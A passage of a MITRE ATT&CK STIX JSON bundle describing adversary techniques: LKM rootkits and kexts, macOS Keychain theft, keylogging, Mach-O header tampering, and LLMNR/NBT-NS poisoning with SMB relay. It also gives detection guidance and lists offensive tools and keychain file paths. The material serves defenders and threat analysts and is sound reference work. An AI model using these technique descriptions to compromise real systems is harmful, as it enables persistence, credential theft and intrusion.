                    "url": "https://github.com/m0nad/Diamorphine",
                    "description": "Mello, V. (2018, March 8). Diamorphine - LMK rootkit for Linux Kernels 2.6.x/3.x/4.x (x86 and x86_64). Retrieved April 9, 2018.",
                    "source_name": "GitHub Diamorphine"
                },
                {
                    "url": "http://www.megasecurity.org/papers/Rootkits.pdf",
                    "description": "Chuvakin, A. (2003, February). An Overview of Rootkits. Retrieved April 6, 2018.",
                    "source_name": "iDefense Rootkit Overview"
                },
                {
                    "url": "https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf",
                    "description": "Wardle, P. (2015, April). Malware Persistence on OS X Yosemite. Retrieved April 6, 2018.",
                    "source_name": "RSAC 2015 San Francisco Patrick Wardle"
                },
                {
                    "url": "https://www.synack.com/2017/09/08/high-sierras-secure-kernel-extension-loading-is-broken/",
                    "description": "Wardle, P. (2017, September 8). High Sierra\u2019s \u2018Secure Kernel Extension Loading\u2019 is Broken. Retrieved April 6, 2018.",
                    "source_name": "Synack Secure Kernel Extension Broken"
                },
                {
                    "url": "https://securelist.com/the-ventir-trojan-assemble-your-macos-spy/67267/",
                    "description": "Mikhail, K. (2014, October 16). The Ventir Trojan: assemble your MacOS spy. Retrieved April 6, 2018.",
                    "source_name": "Securelist Ventir"
                },
                {
                    "url": "https://en.wikipedia.org/wiki/Loadable_kernel_module#Linux",
                    "description": "Wikipedia. (2018, March 17). Loadable kernel module. Retrieved April 9, 2018.",
                    "source_name": "Wikipedia Loadable Kernel Module"
                },
                {
                    "url": "http://tldp.org/HOWTO/Module-HOWTO/x197.html",
                    "description": "Henderson, B. (2006, September 24). How To Insert And Remove LKMs. Retrieved April 9, 2018.",
                    "source_name": "Linux Loadable Kernel Module Insert and Remove LKMs"
                }
            ],
            "name": "Kernel Modules and Extensions",
            "id": "attack-pattern--6be14413-578e-46c1-8304-310762b3ecd5",
            "revoked": true,
            "type": "attack-pattern",
            "modified": "2021-03-30T00:59:53.427Z",
            "created": "2018-04-18T17:59:24.739Z"
        },
        {
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "external_id": "T1547.006",
                    "url": "https://attack.mitre.org/techniques/T1547/006"
                },
                {
                    "source_name": "Linux Kernel Programming",
                    "url": "https://www.tldp.org/LDP/lkmpg/2.4/lkmpg.pdf",
                    "description": "Pomerantz, O., Salzman, P.. (2003, April 4). The Linux Kernel Module Programming Guide. Retrieved April 6, 2018."
                },
                {
                    "url": "http://www.tldp.org/LDP/lkmpg/2.4/html/x437.html",
                    "description": "Pomerantz, O., Salzman, P. (2003, April 4). Modules vs Programs. Retrieved April 6, 2018.",
                    "source_name": "Linux Kernel Module Programming Guide"
                },
                {
                    "url": "http://www.megasecurity.org/papers/Rootkits.pdf",
                    "description": "Chuvakin, A. (2003, February). An Overview of Rootkits. Retrieved April 6, 2018.",
                    "source_name": "iDefense Rootkit Overview"
                },
                {
                    "source_name": "Apple Kernel Extension Deprecation",
                    "url": "https://developer.apple.com/support/kernel-extensions/",
                    "description": "Apple. (n.d.). Deprecated Kernel Extensions and System Extension Alternatives. Retrieved November 4, 2020."
                },
                {
                    "url": "https://volatility-labs.blogspot.com/2012/10/phalanx-2-revealed-using-volatility-to.html",
                    "description": "Case, A. (2012, October 10). Phalanx 2 Revealed: Using Volatility to Analyze an Advanced Linux Rootkit. Retrieved April 9, 2018.",
                    "source_name": "Volatility Phalanx2"
                },
                {
                    "url": "https://www.crowdstrike.com/blog/http-iframe-injecting-linux-rootkit/",
                    "description": "Kurtz, G. (2012, November 19). HTTP iframe Injecting Linux Rootkit. Retrieved December 21, 2017.",
                    "source_name": "CrowdStrike Linux Rootkit"
                },
                {
                    "url": "https://github.com/f0rb1dd3n/Reptile",
                    "description": "Augusto, I. (2018, March 8). Reptile - LMK Linux rootkit. Retrieved April 9, 2018.",
                    "source_name": "GitHub Reptile"
                },
                {
                    "url": "https://github.com/m0nad/Diamorphine",
                    "description": "Mello, V. (2018, March 8). Diamorphine - LMK rootkit for Linux Kernels 2.6.x/3.x/4.x (x86 and x86_64). Retrieved April 9, 2018.",
                    "source_name": "GitHub Diamorphine"
                },
                {
                    "url": "https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf",
                    "description": "Wardle, P. (2015, April). Malware Persistence on OS X Yosemite. Retrieved April 6, 2018.",
                    "source_name": "RSAC 2015 San Francisco Patrick Wardle"
                },
                {
                    "url": "https://www.synack.com/2017/09/08/high-sierras-secure-kernel-extension-loading-is-broken/",
                    "description": "Wardle, P. (2017, September 8). High Sierra\u2019s \u2018Secure Kernel Extension Loading\u2019 is Broken. Retrieved April 6, 2018.",
                    "source_name": "Synack Secure Kernel Extension Broken"
                },
                {
                    "url": "https://securelist.com/the-ventir-trojan-assemble-your-macos-spy/67267/",
                    "description": "Mikhail, K. (2014, October 16). The Ventir Trojan: assemble your MacOS spy. Retrieved April 6, 2018.",
                    "source_name": "Securelist Ventir"
                },
                {
                    "source_name": "Trend Micro Skidmap",
                    "url": "https://blog.trendmicro.com/trendlabs-security-intelligence/skidmap-linux-malware-uses-rootkit-capabilities-to-hide-cryptocurrency-mining-payload/",
                    "description": "Remillano, A., Urbanec, J. (2019, September 19). Skidmap Linux Malware Uses Rootkit Capabilities to Hide Cryptocurrency-Mining Payload. Retrieved June 4, 2020."
                },
                {
                    "url": "http://tldp.org/HOWTO/Module-HOWTO/x197.html",
                    "description": "Henderson, B. (2006, September 24). How To Insert And Remove LKMs. Retrieved April 9, 2018.",
                    "source_name": "Linux Loadable Kernel Module Insert and Remove LKMs"
                },
                {
                    "url": "https://en.wikipedia.org/wiki/Loadable_kernel_module#Linux",
                    "description": "Wikipedia. (2018, March 17). Loadable kernel module. Retrieved April 9, 2018.",
                    "source_name": "Wikipedia Loadable Kernel Module"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "name": "Kernel Modules and Extensions",
            "description": "Adversaries may modify the kernel to automatically execute programs on system boot. Loadable Kernel Modules (LKMs) are pieces of code that can be loaded and unloaded into the kernel upon demand. They extend the functionality of the kernel without the need to reboot the system. For example, one type of module is the device driver, which allows the kernel to access hardware connected to the system. (Citation: Linux Kernel Programming)\u00a0\n\nWhen used maliciously, LKMs can be a type of kernel-mode [Rootkit](https://attack.mitre.org/techniques/T1014) that run with the highest operating system privilege (Ring 0). (Citation: Linux Kernel Module Programming Guide)\u00a0Common features of LKM based rootkits include: hiding itself, selective hiding of files, processes and network activity, as well as log tampering, providing authenticated backdoors and enabling root access to non-privileged users. (Citation: iDefense Rootkit Overview)\n\nKernel extensions, also called kext, are used for macOS to load functionality onto a system similar to LKMs for Linux. They are loaded and unloaded through <code>kextload</code> and <code>kextunload</code> commands. Since macOS Catalina 10.15, kernel extensions have been deprecated on macOS systems.(Citation: Apple Kernel Extension Deprecation)\n\nAdversaries can use LKMs and kexts to covertly persist on a system and elevate privileges. Examples have been found in the wild and there are some open source projects. (Citation: Volatility Phalanx2) (Citation: CrowdStrike Linux Rootkit) (Citation: GitHub Reptile) (Citation: GitHub Diamorphine)(Citation: RSAC 2015 San Francisco Patrick Wardle) (Citation: Synack Secure Kernel Extension Broken)(Citation: Securelist Ventir) (Citation: Trend Micro Skidmap)",
            "id": "attack-pattern--a1b52199-c8c5-438a-9ded-656f1d0888c6",
            "type": "attack-pattern",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "persistence"
                },
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "privilege-escalation"
                }
            ],
            "modified": "2021-03-30T00:59:53.716Z",
            "created": "2020-01-24T17:42:23.339Z",
            "x_mitre_version": "1.1",
            "x_mitre_is_subtechnique": true,
            "x_mitre_permissions_required": [
                "root"
            ],
            "x_mitre_detection": "Loading, unloading, and manipulating modules on Linux systems can be detected by monitoring for the following commands:<code>modprobe</code>, <code>insmod</code>, <code>lsmod</code>, <code>rmmod</code>, or <code>modinfo</code> (Citation: Linux Loadable Kernel Module Insert and Remove LKMs) LKMs are typically loaded into <code>/lib/modules</code> and have had the extension .ko (\"kernel object\") since version 2.6 of the Linux kernel. (Citation: Wikipedia Loadable Kernel Module)\n\nFor macOS, monitor for execution of <code>kextload</code> commands and correlate with other unknown or suspicious activity.\n\nAdversaries may run commands on the target system before loading a malicious module in order to ensure that it is properly compiled. (Citation: iDefense Rootkit Overview) Adversaries may also execute commands to identify the exact version of the running Linux kernel and/or download multiple versions of the same .ko (kernel object) files to use the one appropriate for the running system.(Citation: Trend Micro Skidmap) Many LKMs require Linux headers (specific to the target kernel) in order to compile properly.\u00a0These are typically obtained through the operating systems package manager and installed like a normal package. On Ubuntu and Debian based systems this can be accomplished by running: <code>apt-get install linux-headers-$(uname -r)</code> On RHEL and CentOS based systems this can be accomplished by running: <code>yum install kernel-devel-$(uname -r)</code>",
            "x_mitre_data_sources": [
                "Command: Command Execution",
                "File: File Creation",
                "Kernel: Kernel Module Load"
            ],
            "x_mitre_contributors": [
                "Wayne Silva, F-Secure Countercept",
                "Anastasios Pingios",
                "Jeremy Galloway",
                "Red Canary"
            ],
            "x_mitre_platforms": [
                "macOS",
                "Linux"
            ]
        },
        {
            "id": "attack-pattern--9e09ddb2-1746-4448-9cad-7f8b41777d6d",
            "name": "Keychain",
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "external_id": "T1142",
                    "url": "https://attack.mitre.org/techniques/T1142"
                },
                {
                    "url": "https://en.wikipedia.org/wiki/Keychain_(software)",
                    "description": "Wikipedia. (n.d.). Keychain (software). Retrieved July 5, 2017.",
                    "source_name": "Wikipedia keychain"
                },
                {
                    "url": "http://www.slideshare.net/StephanBorosh/external-to-da-the-os-x-way",
                    "description": "Alex Rymdeko-Harvey, Steve Borosh. (2016, May 14). External to DA, the OS X Way. Retrieved July 3, 2017.",
                    "source_name": "External to DA, the OS X Way"
                }
            ],
            "revoked": true,
            "type": "attack-pattern",
            "modified": "2020-02-12T18:55:55.305Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "created": "2020-02-12T18:55:24.728Z",
            "modified": "2020-02-17T13:14:31.140Z",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "credential-access"
                }
            ],
            "type": "attack-pattern",
            "id": "attack-pattern--1eaebf46-e361-4437-bc23-d5d65a3b92e3",
            "description": "Adversaries may collect the keychain storage data from a system to acquire credentials. Keychains are the built-in way for macOS to keep track of users' passwords and credentials for many services and features such as WiFi passwords, websites, secure notes, certificates, and Kerberos. Keychain files are located in <code>~/Library/Keychains/</code>,<code>/Library/Keychains/</code>, and <code>/Network/Library/Keychains/</code>. (Citation: Wikipedia keychain) The <code>security</code> command-line utility, which is built into macOS by default, provides a useful way to manage these credentials.\n\nTo manage their credentials, users have to use additional credentials to access their keychain. If an adversary knows the credentials for the login keychain, then they can get access to all the other credentials stored in this vault. (Citation: External to DA, the OS X Way) By default, the passphrase for the keychain is the user\u2019s logon credentials.",
            "name": "Keychain",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "external_id": "T1555.001",
                    "url": "https://attack.mitre.org/techniques/T1555/001"
                },
                {
                    "url": "https://en.wikipedia.org/wiki/Keychain_(software)",
                    "description": "Wikipedia. (n.d.). Keychain (software). Retrieved July 5, 2017.",
                    "source_name": "Wikipedia keychain"
                },
                {
                    "url": "http://www.slideshare.net/StephanBorosh/external-to-da-the-os-x-way",
                    "description": "Alex Rymdeko-Harvey, Steve Borosh. (2016, May 14). External to DA, the OS X Way. Retrieved July 3, 2017.",
                    "source_name": "External to DA, the OS X Way"
                }
            ],
            "x_mitre_platforms": [
                "macOS"
            ],
            "x_mitre_is_subtechnique": true,
            "x_mitre_version": "1.0",
            "x_mitre_detection": "Unlocking the keychain and using passwords from it is a very common process, so there is likely to be a lot of noise in any detection technique. Monitoring of system calls to the keychain can help determine if there is a suspicious process trying to access it.",
            "x_mitre_permissions_required": [
                "Administrator"
            ],
            "x_mitre_data_sources": [
                "Command: Command Execution",
                "Process: OS API Execution",
                "File: File Access"
            ]
        },
        {
            "created": "2020-02-11T18:58:11.791Z",
            "modified": "2020-10-21T01:30:56.227Z",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "collection"
                },
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "credential-access"
                }
            ],
            "type": "attack-pattern",
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "external_id": "T1056.001",
                    "url": "https://attack.mitre.org/techniques/T1056/001"
                },
                {
                    "external_id": "CAPEC-568",
                    "source_name": "capec",
                    "url": "https://capec.mitre.org/data/definitions/568.html"
                },
                {
                    "url": "http://opensecuritytraining.info/Keylogging_files/The%20Adventures%20of%20a%20Keystroke.pdf",
                    "description": "Tinaztepe,  E. (n.d.). The Adventures of a Keystroke:  An in-depth look into keyloggers on Windows. Retrieved April 27, 2016.",
                    "source_name": "Adventures of a Keystroke"
                },
                {
                    "source_name": "Cisco Blog Legacy Device Attacks",
                    "url": "https://community.cisco.com/t5/security-blogs/attackers-continue-to-target-legacy-devices/ba-p/4169954",
                    "description": "Omar Santos. (2020, October 19). Attackers Continue to Target Legacy Devices. Retrieved October 20, 2020."
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "name": "Keylogging",
            "description": "Adversaries may log user keystrokes to intercept credentials as the user types them. Keylogging is likely to be used to acquire credentials for new access opportunities when [OS Credential Dumping](https://attack.mitre.org/techniques/T1003) efforts are not effective, and may require an adversary to intercept keystrokes on a system for a substantial period of time before credentials can be successfully captured.\n\nKeylogging is the most prevalent type of input capture, with many different ways of intercepting keystrokes.(Citation: Adventures of a Keystroke) Some methods include:\n\n* Hooking API callbacks used for processing keystrokes. Unlike [Credential API Hooking](https://attack.mitre.org/techniques/T1056/004), this focuses solely on API functions intended for processing keystroke data.\n* Reading raw keystroke data from the hardware buffer.\n* Windows Registry modifications.\n* Custom drivers.\n* [Modify System Image](https://attack.mitre.org/techniques/T1601) may provide adversaries with hooks into the operating system of network devices to read raw keystrokes for login sessions.(Citation: Cisco Blog Legacy Device Attacks) ",
            "id": "attack-pattern--09a60ea3-a8d1-4ae5-976e-5783248b72a4",
            "x_mitre_data_sources": [
                "Windows Registry: Windows Registry Key Modification",
                "Driver: Driver Load",
                "Process: OS API Execution"
            ],
            "x_mitre_permissions_required": [
                "Administrator",
                "root",
                "SYSTEM",
                "User"
            ],
            "x_mitre_detection": "Keyloggers may take many forms, possibly involving modification to the Registry and installation of a driver, setting a hook, or polling to intercept keystrokes. Commonly used API calls include `SetWindowsHook`, `GetKeyState`, and `GetAsyncKeyState`.(Citation: Adventures of a Keystroke) Monitor the Registry and file system for such changes, monitor driver installs, and look for common keylogging API calls. API calls alone are not an indicator of keylogging, but may provide behavioral data that is useful when combined with other information such as new files written to disk and unusual processes.",
            "x_mitre_version": "1.1",
            "x_mitre_is_subtechnique": true,
            "x_mitre_platforms": [
                "Windows",
                "macOS",
                "Linux",
                "Network"
            ]
        },
        {
            "id": "attack-pattern--04ef4356-8926-45e2-9441-634b6f3dcecb",
            "name": "LC_LOAD_DYLIB Addition",
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "external_id": "T1161",
                    "url": "https://attack.mitre.org/techniques/T1161"
                },
                {
                    "url": "https://www.blackhat.com/docs/us-15/materials/us-15-Wardle-Writing-Bad-A-Malware-For-OS-X.pdf",
                    "description": "Patrick Wardle. (2015). Writing Bad @$$ Malware for OS X. Retrieved July 10, 2017.",
                    "source_name": "Writing Bad Malware for OSX"
                },
                {
                    "url": "https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf",
                    "description": "Patrick Wardle. (2015). Malware Persistence on OS X Yosemite. Retrieved July 10, 2017.",
                    "source_name": "Malware Persistence on OS X"
                }
            ],
            "revoked": true,
            "type": "attack-pattern",
            "modified": "2021-03-30T00:51:58.008Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "external_id": "T1546.006",
                    "url": "https://attack.mitre.org/techniques/T1546/006"
                },
                {
                    "url": "https://www.blackhat.com/docs/us-15/materials/us-15-Wardle-Writing-Bad-A-Malware-For-OS-X.pdf",
                    "description": "Patrick Wardle. (2015). Writing Bad @$$ Malware for OS X. Retrieved July 10, 2017.",
                    "source_name": "Writing Bad Malware for OSX"
                },
                {
                    "url": "https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf",
                    "description": "Patrick Wardle. (2015). Malware Persistence on OS X Yosemite. Retrieved July 10, 2017.",
                    "source_name": "Malware Persistence on OS X"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "name": "LC_LOAD_DYLIB Addition",
            "description": "Adversaries may establish persistence by executing malicious content triggered by the execution of tainted binaries. Mach-O binaries have a series of headers that are used to perform certain operations when a binary is loaded. The LC_LOAD_DYLIB header in a Mach-O binary tells macOS and OS X which dynamic libraries (dylibs) to load during execution time. These can be added ad-hoc to the compiled binary as long as adjustments are made to the rest of the fields and dependencies. (Citation: Writing Bad Malware for OSX) There are tools available to perform these changes.\n\nAdversaries may modify Mach-O binary headers to load and execute malicious dylibs every time the binary is executed. Although any changes will invalidate digital signatures on binaries because the binary is being modified, this can be remediated by simply removing the LC_CODE_SIGNATURE command from the binary so that the signature isn\u2019t checked at load time. (Citation: Malware Persistence on OS X)",
            "id": "attack-pattern--10ff21b9-5a01-4268-a1b5-3b55015f1847",
            "type": "attack-pattern",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "privilege-escalation"
                },
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "persistence"
                }
            ],
            "modified": "2021-03-30T00:51:58.454Z",
            "created": "2020-01-24T14:21:52.750Z",
            "x_mitre_version": "1.0",
            "x_mitre_is_subtechnique": true,
            "x_mitre_permissions_required": [
                "User"
            ],
            "x_mitre_detection": "Monitor processes for those that may be used to modify binary headers. Monitor file systems for changes to application binaries and invalid checksums/signatures. Changes to binaries that do not line up with application updates or patches are also extremely suspicious.",
            "x_mitre_data_sources": [
                "Process: Process Creation",
                "Command: Command Execution",
                "File: File Metadata",
                "File: File Modification",
                "Module: Module Load"
            ],
            "x_mitre_platforms": [
                "macOS"
            ]
        },
        {
            "id": "attack-pattern--a0a189c8-d3bd-4991-bf6f-153d185ee373",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "name": "LC_MAIN Hijacking",
            "description": "**This technique has been deprecated and should no longer be used.**\n\nAs of OS X 10.8, mach-O binaries introduced a new header called LC_MAIN that points to the binary\u2019s entry point for execution. Previously, there were two headers to achieve this same effect: LC_THREAD and LC_UNIXTHREAD  (Citation: Prolific OSX Malware History). The entry point for a binary can be hijacked so that initial execution flows to a malicious addition (either another section or a code cave) and then goes back to the initial entry point so that the victim doesn\u2019t know anything was different  (Citation: Methods of Mac Malware Persistence). By modifying a binary in this way, application whitelisting can be bypassed because the file name or application path is still the same.",
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "external_id": "T1149",
                    "url": "https://attack.mitre.org/techniques/T1149"
                },
                {
                    "url": "https://assets.documentcloud.org/documents/2459197/bit9-carbon-black-threat-research-report-2015.pdf",
                    "description": "Bit9 + Carbon Black Threat Research Team. (2015). 2015: The Most Prolific Year in History for OS X Malware. Retrieved July 8, 2017.",
                    "source_name": "Prolific OSX Malware History"
                },
                {
                    "url": "https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf",
                    "description": "Patrick Wardle. (2014, September). Methods of Malware Persistence on Mac OS X. Retrieved July 5, 2017.",
                    "source_name": "Methods of Mac Malware Persistence"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "type": "attack-pattern",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "defense-evasion"
                }
            ],
            "modified": "2020-03-30T13:53:57.518Z",
            "created": "2017-12-14T16:46:06.044Z",
            "x_mitre_deprecated": true,
            "x_mitre_is_subtechnique": false,
            "x_mitre_platforms": [
                "macOS"
            ],
            "x_mitre_permissions_required": [
                "User",
                "Administrator"
            ],
            "x_mitre_defense_bypassed": [
                "Application whitelisting",
                "Process whitelisting",
                "Whitelisting by file name or path"
            ],
            "x_mitre_detection": "Determining the original entry point for a binary is difficult, but checksum and signature verification is very possible. Modifying the LC_MAIN entry point or adding in an additional LC_MAIN entry point invalidates the signature for the file and can be detected. Collect running process information and compare against known applications to look for suspicious behavior.",
            "x_mitre_version": "2.0"
        },
        {
            "id": "attack-pattern--0dbf5f1b-a560-4d51-ac1b-d70caab3e1f0",
            "name": "LLMNR/NBT-NS Poisoning and Relay",
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "external_id": "T1171",
                    "url": "https://attack.mitre.org/techniques/T1171"
                },
                {
                    "url": "https://en.wikipedia.org/wiki/Link-Local_Multicast_Name_Resolution",
                    "description": "Wikipedia. (2016, July 7). Link-Local Multicast Name Resolution. Retrieved November 17, 2017.",
                    "source_name": "Wikipedia LLMNR"
                },
                {
                    "url": "https://technet.microsoft.com/library/cc958811.aspx",
                    "description": "Microsoft. (n.d.). NetBIOS Name Resolution. Retrieved November 17, 2017.",
                    "source_name": "TechNet NetBIOS"
                },
                {
                    "source_name": "byt3bl33d3r NTLM Relaying",
                    "url": "https://byt3bl33d3r.github.io/practical-guide-to-ntlm-relaying-in-2017-aka-getting-a-foothold-in-under-5-minutes.html",
                    "description": "Salvati, M. (2017, June 2). Practical guide to NTLM Relaying in 2017 (A.K.A getting a foothold in under 5 minutes). Retrieved February 7, 2019."
                },
                {
                    "source_name": "Secure Ideas SMB Relay",
                    "url": "https://blog.secureideas.com/2018/04/ever-run-a-relay-why-smb-relays-should-be-on-your-mind.html",
                    "description": "Kuehn, E. (2018, April 11). Ever Run a Relay? Why SMB Relays Should Be On Your Mind. Retrieved February 7, 2019."
                },
                {
                    "url": "https://github.com/nomex/nbnspoof",
                    "description": "Nomex. (2014, February 7). NBNSpoof. Retrieved November 17, 2017.",
                    "source_name": "GitHub NBNSpoof"
                },
                {
                    "url": "https://www.rapid7.com/db/modules/auxiliary/spoof/llmnr/llmnr_response",
                    "description": "Francois, R. (n.d.). LLMNR Spoofer. Retrieved November 17, 2017.",
                    "source_name": "Rapid7 LLMNR Spoofer"
                },
                {
                    "url": "https://github.com/SpiderLabs/Responder",
                    "description": "Gaffie, L. (2016, August 25). Responder. Retrieved November 17, 2017.",
                    "source_name": "GitHub Responder"
                },
                {
                    "url": "https://www.sternsecurity.com/blog/local-network-attacks-llmnr-and-nbt-ns-poisoning",
                    "description": "Sternstein, J. (2013, November). Local Network Attacks: LLMNR and NBT-NS Poisoning. Retrieved November 17, 2017.",
                    "source_name": "Sternsecurity LLMNR-NBTNS"
                },
                {
                    "url": "https://github.com/Kevin-Robertson/Conveigh",
                    "description": "Robertson, K. (2016, August 28). Conveigh. Retrieved November 17, 2017.",
                    "source_name": "GitHub Conveigh"
                }
            ],
            "revoked": true,
            "type": "attack-pattern",
            "modified": "2020-02-11T19:09:48.452Z",
            "created": "2018-01-16T16:13:52.465Z"
        },
        {
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "external_id": "T1557.001",
                    "url": "https://attack.mitre.org/techniques/T1557/001"
                },
                {
                    "url": "https://en.wikipedia.org/wiki/Link-Local_Multicast_Name_Resolution",
                    "description": "Wikipedia. (2016, July 7). Link-Local Multicast Name Resolution. Retrieved November 17, 2017.",
                    "source_name": "Wikipedia LLMNR"
                },
                {
                    "url": "https://technet.microsoft.com/library/cc958811.aspx",
                    "description": "Microsoft. (n.d.). NetBIOS Name Resolution. Retrieved November 17, 2017.",
                    "source_name": "TechNet NetBIOS"
                },
                {
                    "source_name": "byt3bl33d3r NTLM Relaying",
                    "url": "https://byt3bl33d3r.github.io/practical-guide-to-ntlm-relaying-in-2017-aka-getting-a-foothold-in-under-5-minutes.html",
                    "description": "Salvati, M. (2017, June 2). Practical guide to NTLM Relaying in 2017 (A.K.A getting a foothold in under 5 minutes). Retrieved February 7, 2019."
                },
                {
                    "source_name": "Secure Ideas SMB Relay",
                    "url": "https://blog.secureideas.com/2018/04/ever-run-a-relay-why-smb-relays-should-be-on-your-mind.html",
                    "description": "Kuehn, E. (2018, April 11). Ever Run a Relay? Why SMB Relays Should Be On Your Mind. Retrieved February 7, 2019."
                },
                {
                    "url": "https://github.com/nomex/nbnspoof",
                    "description": "Nomex. (2014, February 7). NBNSpoof. Retrieved November 17, 2017.",
                    "source_name": "GitHub NBNSpoof"
                },
                {
                    "url": "https://www.rapid7.com/db/modules/auxiliary/spoof/llmnr/llmnr_response",
                    "description": "Francois, R. (n.d.). LLMNR Spoofer. Retrieved November 17, 2017.",
                    "source_name": "Rapid7 LLMNR Spoofer"
                },
                {
                    "url": "https://github.com/SpiderLabs/Responder",
                    "description": "Gaffie, L. (2016, August 25). Responder. Retrieved November 17, 2017.",
                    "source_name": "GitHub Responder"
                },
                {
                    "url": "https://www.sternsecurity.com/blog/local-network-attacks-llmnr-and-nbt-ns-poisoning",
                    "description": "Sternstein, J. (2013, November). Local Network Attacks: LLMNR and NBT-NS Poisoning. Retrieved November 17, 2017.",
                    "source_name": "Sternsecurity LLMNR-NBTNS"
                },
                {
                    "url": "https://github.com/Kevin-Robertson/Conveigh",
                    "description": "Robertson, K. (2016, August 28). Conveigh. Retrieved November 17, 2017.",
                    "source_name": "GitHub Conveigh"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "name": "LLMNR/NBT-NS Poisoning and SMB Relay",
            "description": "By responding to LLMNR/NBT-NS network traffic, adversaries may spoof an authoritative source for name resolution to force communication with an adversary controlled system. This activity may be used to collect or relay authentication materials. \n\nLink-Local Multicast Name Resolution (LLMNR) and NetBIOS Name Service (NBT-NS) are Microsoft Windows components that serve as alternate methods of host identification. LLMNR is based upon the Domain Name System (DNS) format and allows hosts on the same local link to perform name resolution for other hosts. NBT-NS identifies systems on a local network by their NetBIOS name. (Citation: Wikipedia LLMNR) (Citation: TechNet NetBIOS)\n\nAdversaries can spoof an authoritative source for name resolution on a victim network by responding to LLMNR (UDP 5355)/NBT-NS (UDP 137) traffic as if they know the identity of the requested host, effectively poisoning the service so that the victims will communicate with the adversary controlled system. If the requested host belongs to a resource that requires identification/authentication, the username and NTLMv2 hash will then be sent to the adversary controlled system. The adversary can then collect the hash information sent over the wire through tools that monitor the ports for traffic or through [Network Sniffing](https://attack.mitre.org/techniques/T1040) and crack the hashes offline through [Brute Force](https://attack.mitre.org/techniques/T1110) to obtain the plaintext passwords. In some cases where an adversary has access to a system that is in the authentication path between systems or when automated scans that use credentials attempt to authenticate to an adversary controlled system, the NTLMv2 hashes can be intercepted and relayed to access and execute code against a target system. The relay step can happen in conjunction with poisoning but may also be independent of it. (Citation: byt3bl33d3r NTLM Relaying)(Citation: Secure Ideas SMB Relay)\n\nSeveral tools exist that can be used to poison name services within local networks such as NBNSpoof, Metasploit, and [Responder](https://attack.mitre.org/software/S0174). (Citation: GitHub NBNSpoof) (Citation: Rapid7 LLMNR Spoofer) (Citation: GitHub Responder)",
            "id": "attack-pattern--650c784b-7504-4df7-ab2c-4ea882384d1e",
            "type": "attack-pattern",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "credential-access"
                },
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "collection"
                }
            ],
            "modified": "2020-03-31T13:54:08.239Z",
            "created": "2020-02-11T19:08:51.677Z",
            "x_mitre_contributors": [
                "Eric Kuehn, Secure Ideas",
                "Matthew Demaske, Adaptforward"
            ],
            "x_mitre_data_sources": [
                "Network Traffic: Network Traffic Flow",
                "Network Traffic: Network Traffic Flow",
                "Service: Service Creation",
                "Windows Registry: Windows Registry Key Modification"
            ],
            "x_mitre_permissions_required": [
                "User"
            ],
            "x_mitre_detection": "Monitor <code>HKLM\\Software\\Policies\\Microsoft\\Windows NT\\DNSClient</code> for changes to the \"EnableMulticast\" DWORD value. A value of \u201c0\u201d indicates LLMNR is disabled. (Citation: Sternsecurity LLMNR-NBTNS)\n\nMonitor for traffic on ports UDP 5355 and UDP 137 if LLMNR/NetBIOS is disabled by security policy.\n\nDeploy an LLMNR/NBT-NS spoofing detection tool.(Citation: GitHub Conveigh) Monitoring of Windows event logs for event IDs 4697 and 7045 may help in detecting successful relay techniques.(Citation: Secure Ideas SMB Relay)",
            "x_mitre_version": "1.0",
            "x_mitre_is_subtechnique": true,
            "x_mitre_platforms": [
                "Windows"
            ]
        },
        {
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "external_id": "T1003.004",
                    "url": "https://attack.mitre.org/techniques/T1003/004"
                },
                {
                    "source_name": "Passcape LSA Secrets",
                    "url": "https://www.passcape.com/index.php?section=docsys&cmd=details&id=23",
